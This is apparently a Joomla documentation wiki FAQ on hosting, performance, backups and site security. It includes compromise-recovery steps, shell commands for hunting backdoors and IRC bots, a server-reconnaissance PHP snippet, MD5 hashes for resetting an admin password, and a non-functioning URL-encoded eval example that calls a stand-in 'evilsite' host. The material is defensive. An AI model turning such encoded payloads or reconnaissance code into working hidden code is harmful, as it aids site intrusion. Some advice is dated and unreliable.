: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-09-26T22:55:22Z

Cadrlp: /* Should PHP run as a CGI script or as an Apache module? */ dormant

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

